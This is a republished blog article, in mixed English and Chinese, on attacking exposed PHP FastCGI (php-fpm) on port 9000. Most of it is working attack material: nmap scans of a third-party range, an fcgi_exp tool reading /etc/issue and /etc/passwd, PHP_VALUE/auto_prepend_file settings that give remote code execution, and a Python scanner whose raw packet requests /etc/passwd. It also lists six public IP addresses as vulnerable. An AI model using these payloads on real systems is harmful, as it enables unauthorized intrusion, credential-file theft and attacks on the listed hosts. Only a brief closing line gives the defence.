Home  >  Article  >  Backend Development  >  Example analysis of python scanning script for fastcgi file reading vulnerability

Example analysis of python scanning script for fastcgi file reading vulnerability

Y2J
Y2JOriginal
2017-05-02 15:21:241714browse

This article mainly introduces the python scanning script for fastcgi file reading vulnerabilities. Friends who need it can refer to

Remote utilization of PHP FastCGI

FastCGI, everyone knows that this is one of the most common webserver dynamic script execution models. At present, basically all web scripts basically support this mode, and even some types of scripts are the only mode (ROR, Python, etc.).

The main purpose of FastCGI is to separate the webserver and the execution of dynamic languages ​​into two different resident processes. When the webserver receives a request for a dynamic script, it forwards the request to the fcgi process through the network through the fcgi protocol. , after being processed by the fcgi process, the results are transmitted to the webserver, and then the webserver outputs them to the browser. This model does not need to restart cgi for every request, nor does it need to embed a script parser into the webserver, so it is highly scalable. Once the number of dynamic script requests increases, a separate cluster can be set up for the back-end fcgi process. Providing services greatly increases maintainability, which is one of the reasons why similar models such as fcgi are so popular.

However, it is precisely because of this model that it also brings some problems. For example, the "nginx File Parsing Vulnerability" released by 80sec last year is actually a problem caused by the different understanding of script path-level parameters between fcgi and webserver. In addition, since fcgi and webserver communicate through the network, more and more clusters currently bind fcgi directly to the public network, and everyone can access it. This means that anyone can pretend to be a webserver and let fcgi execute the script content we want to execute.

ok, the above is the explanation of the background principle. I will use PHP, which I am most familiar with, to give you an example.

php's fastcgi is currently usually called FPM. The default listening port is port 9000. Let’s use nmap to scan directly:

nmap -sV -p 9000 --open x.x.x.x/24

Why use sV? Because there may be other services on port 9000, we need to use nmap’s fingerprint recognition to help us identify them first.

[root@test:~/work/fcgi]#nmap -sV -p 9000 --open 173.xxx.xxx.1/24
Starting Nmap 6.01 ( http://nmap.org ) at 2012-09-14 20:06 EDTNmap scan report for abc.net (173.xxx.xxx.111)Host is up (0.0095s latency).PORT     STATE SERVICE VERSION9000/tcp open  ssh     OpenSSH 5.3p1 Debian 3ubuntu7 (protocol 2.0)Service Info: OS: Linux; CPE: cpe:/o:linux:kernel
Nmap scan report for abc.com (173.xxx.xxx.183)Host is up (0.0096s latency).PORT     STATE SERVICE    VERSION9000/tcp open  tcpwrapped
Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .Nmap done: 256 IP addresses (198 hosts up) scanned in 7.70 seconds

I scanned it casually and found good luck. There are two open 9000 ports in segment C, but one of them is sshd modified by the administrator, and the other is tcpwrapped, which is our goal.

For testing, I wrote a fastcgi client program to directly initiate requests to the other party. What can we do by using an open fastcgi? This is a little different from ordinary http requests, because in order to provide some fastcgi parameters, the webserver will pass them to the fcgi process through the FASTCGI_PARAMS package every time it forwards the request. Originally these parameters are not controllable by the user, but since this fcgi is open to the outside world, it means that we can set these parameters to allow us to do things that we cannot do otherwise:

[root@test:~/work/fcgi]#./fcgi_exp read 173.xxx.xxx.183 9000 /etc/issue
X-Powered-By: PHP/5.3.2-1ubuntu4.9Content-type: text/html www.jb51.net
Ubuntu 10.04.3 LTS \n \l

Read /etc/issue file, you can see that this is an ubuntu 10.04 machine. How is this achieved? In fact, we only need to set DOCUMENT_ROOT to the "/" root directory in FASTCGI_PARAMS, and then set SCRIPT_FILENAME to /etc/issue. In this way, as long as we have permission, we can control fcgi to read any file on this machine. Actually this is not reading, but using php to execute it.

Since it is execution, this vulnerability is actually similar to an ordinary LFI vulnerability. If you know the log path on this machine, or any file path where you can control the content, you can execute arbitrary code. .

Is this the end? No, if I use log or guess other file paths to execute the code, it is still not convenient enough. Is there a more convenient way that allows me to execute any code I submit?

I have also found many ways here. The first thing that comes to mind is to pass the env parameter and then execute the /proc/self/environ file. Unfortunately, php-fpm only stores it in the memory after receiving my parameter value. Modifying the environment variables will not directly change this file. Therefore it cannot be used. Moreover, this method is not universal for all systems.

We also have another method. In the "PoC and Technical Challenges of CVE-2012-1823 (PHP-CGI RCE)" I wrote before, you can dynamically modify the value of auto_prepend_file in php.ini. To remotely execute arbitrary files. Turning an LFI vulnerability into an RFI greatly increases the exploitable space.

Does fastcgi also support similar dynamic modification of PHP configuration? I checked the information and found that FPM was not supported originally. It was not until a developer submitted a bug that PHP officials merged this feature into the source code of PHP 5.3.3.

General By setting FASTCGI_PARAMS, we can use PHP_ADMIN_VALUE and PHP_VALUE to dynamically modify php settings.

env["REQUEST_METHOD"] = "POST"
env["PHP_VALUE"] = "auto_prepend_file = php://input"
env["PHP_ADMIN_VALUE"] = "allow_url_include = On\ ndisable_functions = \nsafe_mode = Off"

Use to execute php://input, and then write our php code in the POST content, so that it can be executed directly.

[root@test:~/work/fcgi]#./fcgi_exp system 127.0.0.1 9000 /tmp/a.php "id; uname -a"   
X-Powered-By: PHP/5.5.0-devContent-type: text/html
uid=500(www) gid=500(www) groups=500(www)Linux test 2.6.18-308.13.1.el5 #1 SMP Tue Aug 21 17:51:21 EDT 2012 x86_64 x86_64 x86_64 GNU/Linux

细心者会注意到这里有些变化,我换了本机做测试。因为开始发现的那台机器php版本是5.3.2,正好低于5.3.3,因此无法利用修改ini设置去执行代码,只能去猜路径。

另一个变化是,我这里去读取/tmp/a.php这个php文件,而不是去读取/etc/issue。因为在5.3.9开始,php官方加入了一个配置"security.limit_extensions",默认状态下只允许执行扩展名为".php"的文件。因此你必须找到一个已经存在的php文件。而这个设置是php-fpm.conf里的,无法通过修改ini的配置去覆盖它。如果谁能有更好的办法可以绕过这个限制,请告诉我。

ok,目前为止对php-fpm的所有测试已经结束,我们利用一个对外开放的fcgi进程,已经可以直接获取shell了。各位不如也去研究一下其他fcgi,或许会有更多发现。

如何防止这个漏洞?很简单,千万不要把fcgi接口对公网暴露。同时也希望将来fcgi会有身份认证机制。

任何系统上编译,请安装golang之后,执行:
go build fcgi_exp.go

fastcgi文件读取漏洞python扫描脚本

fastcgi文件读取(代码执行)是个很老的漏洞,漏洞描述: PHP FastCGI 的远程利用

利用该漏洞可读取系统文件,甚至有一定几率成功执行代码。 下载上述文章中提到的: fcgi_exp

协议细节其实我已不关心,只需要一个python的扫描脚本。于是拿wireshark抓了下GaRY的程序,写一小段代码。

外网暴露9000端口的机器自然是非常非常少的,但内网可就说不定了。

import socket
import sys
def test_fastcgi(ip):
  sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM); sock.settimeout(5.0)
  sock.connect((ip, 9000))
  data = """
  01 01 00 01 00 08 00 00 00 01 00 00 00 00 00 00
  01 04 00 01 00 8f 01 00 0e 03 52 45 51 55 45 53 
  54 5f 4d 45 54 48 4f 44 47 45 54 0f 08 53 45 52 
  56 45 52 5f 50 52 4f 54 4f 43 4f 4c 48 54 54 50 
  2f 31 2e 31 0d 01 44 4f 43 55 4d 45 4e 54 5f 52
  4f 4f 54 2f 0b 09 52 45 4d 4f 54 45 5f 41 44 44
  52 31 32 37 2e 30 2e 30 2e 31 0f 0b 53 43 52 49 
  50 54 5f 46 49 4c 45 4e 41 4d 45 2f 65 74 63 2f 
  70 61 73 73 77 64 0f 10 53 45 52 56 45 52 5f 53
  4f 46 54 57 41 52 45 67 6f 20 2f 20 66 63 67 69
  63 6c 69 65 6e 74 20 00 01 04 00 01 00 00 00 00
  """
  data_s = ''
  for _ in data.split():
    data_s += chr(int(_,16))
  sock.send(data_s)
  try:
    ret = sock.recv(1024)
    if ret.find(':root:') > 0:
      print ret
      print '%s is vulnerable!' % ip
      return True
    else:
      return False
  except Exception, e:
    pass
      
  sock.close()
if __name__ == '__main__':
  if len(sys.argv) == 1:
    print sys.argv[0], '[ip]'
  else:
    test_fastcgi(sys.argv[1])

通过快速扫描9000端口,可以发现几个存在漏洞的机器:

110.164.68.137 is vul !
110.164.68.148 is vul !
110.164.68.149 is vul !
110.164.68.151 is vul !
110.164.68.154 is vul !
110.164.68.155 is vul !

fcgi_exp.exe read 110.164.68.137 9000 /etc/passwd

The above is the detailed content of Example analysis of python scanning script for fastcgi file reading vulnerability. For more information, please follow other related articles on the PHP Chinese website!

Statement:
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn